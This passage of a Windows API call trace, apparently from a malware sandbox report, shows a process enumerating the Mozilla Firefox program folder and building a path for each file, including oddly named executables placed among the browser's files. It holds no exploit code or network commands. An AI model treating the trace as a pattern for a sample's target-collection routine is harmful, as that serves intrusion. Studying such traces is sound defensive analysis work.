lstrcmpW (lpString1="freebl3.chk", lpString2="..") returned 1 [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.563] lstrlenW (lpString="freebl3.chk") returned 11 [0031.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned 50 [0031.563] lstrcpyW (in: lpString1=0x25e4208, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0031.563] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.563] lstrcmpW (lpString1="freebl3.dll", lpString2=".") returned 1 [0031.563] lstrcmpW (lpString1="freebl3.dll", lpString2="..") returned 1 [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.563] lstrlenW (lpString="freebl3.dll") returned 11 [0031.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned 50 [0031.564] lstrcpyW (in: lpString1=0x25e4278, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0031.564] lstrcmpW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.564] lstrlenW (lpString="gkmedias.dll") returned 12 [0031.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned 51 [0031.564] lstrcpyW (in: lpString1=0x25e42e8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="install.log", lpString2=".") returned 1 [0031.564] lstrcmpW (lpString1="install.log", lpString2="..") returned 1 [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.564] lstrlenW (lpString="install.log") returned 11 [0031.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned 50 [0031.564] lstrcpyW (in: lpString1=0x25e4358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2=".") returned 1 [0031.564] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2="..") returned 1 [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.564] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0031.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned 61 [0031.564] lstrcpyW (in: lpString1=0x25e2138, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="libEGL.dll", lpString2=".") returned 1 [0031.564] lstrcmpW (lpString1="libEGL.dll", lpString2="..") returned 1 [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.564] lstrlenW (lpString="libEGL.dll") returned 10 [0031.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned 49 [0031.564] lstrcpyW (in: lpString1=0x25e43c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0031.564] lstrcmpW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.564] lstrlenW (lpString="libGLESv2.dll") returned 13 [0031.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned 52 [0031.564] lstrcpyW (in: lpString1=0x25e09c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0031.564] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.564] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0031.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0031.564] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned 61 [0031.564] lstrcpyW (in: lpString1=0x25e21c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0031.564] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.564] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.565] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0031.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned 71 [0031.565] lstrcpyW (in: lpString1=0x25e4438, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0031.565] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.565] lstrcmpW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.565] lstrlenW (lpString="mozalloc.dll") returned 12 [0031.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned 51 [0031.565] lstrcpyW (in: lpString1=0x25e44d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0031.565] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.565] lstrcmpW (lpString1="mozglue.dll", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="mozglue.dll", lpString2="..") returned 1 [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.565] lstrlenW (lpString="mozglue.dll") returned 11 [0031.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 50 [0031.565] lstrcpyW (in: lpString1=0x25e4540, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0031.565] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.565] lstrcmpW (lpString1="mozjs.dll", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="mozjs.dll", lpString2="..") returned 1 [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.565] lstrlenW (lpString="mozjs.dll") returned 9 [0031.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned 48 [0031.565] lstrcpyW (in: lpString1=0x25e45c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0031.565] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.565] lstrcmpW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.565] lstrlenW (lpString="msvcp100.dll") returned 12 [0031.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned 51 [0031.565] lstrcpyW (in: lpString1=0x25e4638, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0031.565] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.565] lstrcmpW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.565] lstrlenW (lpString="msvcr100.dll") returned 12 [0031.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0031.565] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned 51 [0031.565] lstrcpyW (in: lpString1=0x25e46a8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0031.565] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.565] lstrcmpW (lpString1="nss3.dll", lpString2=".") returned 1 [0031.565] lstrcmpW (lpString1="nss3.dll", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="nss3.dll") returned 8 [0031.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 47 [0031.566] lstrcpyW (in: lpString1=0x25e55b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0031.566] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.566] lstrcmpW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0031.566] lstrcmpW (lpString1="nssckbi.dll", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="nssckbi.dll") returned 11 [0031.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned 50 [0031.566] lstrcpyW (in: lpString1=0x25e4718, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0031.566] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.566] lstrcmpW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0031.566] lstrcmpW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="nssdbm3.chk") returned 11 [0031.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned 50 [0031.566] lstrcpyW (in: lpString1=0x25e4788, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0031.566] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.566] lstrcmpW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0031.566] lstrcmpW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="nssdbm3.dll") returned 11 [0031.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned 50 [0031.566] lstrcpyW (in: lpString1=0x25e47f8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0031.566] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.566] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0031.566] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="omni.ja") returned 7 [0031.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned 46 [0031.566] lstrcpyW (in: lpString1=0x25e5618, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0031.566] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.566] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2=".") returned 1 [0031.566] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0031.566] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned 61 [0031.566] lstrcpyW (in: lpString1=0x25e2248, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0031.566] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.566] lstrcmpW (lpString1="platform.ini", lpString2=".") returned 1 [0031.566] lstrcmpW (lpString1="platform.ini", lpString2="..") returned 1 [0031.566] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.566] lstrlenW (lpString="platform.ini") returned 12 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned 51 [0031.567] lstrcpyW (in: lpString1=0x25e4868, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.567] lstrcmpW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0031.567] lstrcmpW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.567] lstrlenW (lpString="plugin-container.exe") returned 20 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned 59 [0031.567] lstrcpyW (in: lpString1=0x25e5680, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.567] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0031.567] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.567] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned 57 [0031.567] lstrcpyW (in: lpString1=0x25e5700, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.567] lstrcmpW (lpString1="precomplete", lpString2=".") returned 1 [0031.567] lstrcmpW (lpString1="precomplete", lpString2="..") returned 1 [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.567] lstrlenW (lpString="precomplete") returned 11 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50 [0031.567] lstrcpyW (in: lpString1=0x25e48d8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.567] lstrcmpW (lpString1="removed-files", lpString2=".") returned 1 [0031.567] lstrcmpW (lpString1="removed-files", lpString2="..") returned 1 [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.567] lstrlenW (lpString="removed-files") returned 13 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52 [0031.567] lstrcpyW (in: lpString1=0x25e0a38, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.567] lstrcmpW (lpString1="softokn3.chk", lpString2=".") returned 1 [0031.567] lstrcmpW (lpString1="softokn3.chk", lpString2="..") returned 1 [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.567] lstrlenW (lpString="softokn3.chk") returned 12 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned 51 [0031.567] lstrcpyW (in: lpString1=0x25e4948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0031.567] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.567] lstrcmpW (lpString1="softokn3.dll", lpString2=".") returned 1 [0031.567] lstrcmpW (lpString1="softokn3.dll", lpString2="..") returned 1 [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.567] lstrlenW (lpString="softokn3.dll") returned 12 [0031.567] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0031.567] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla 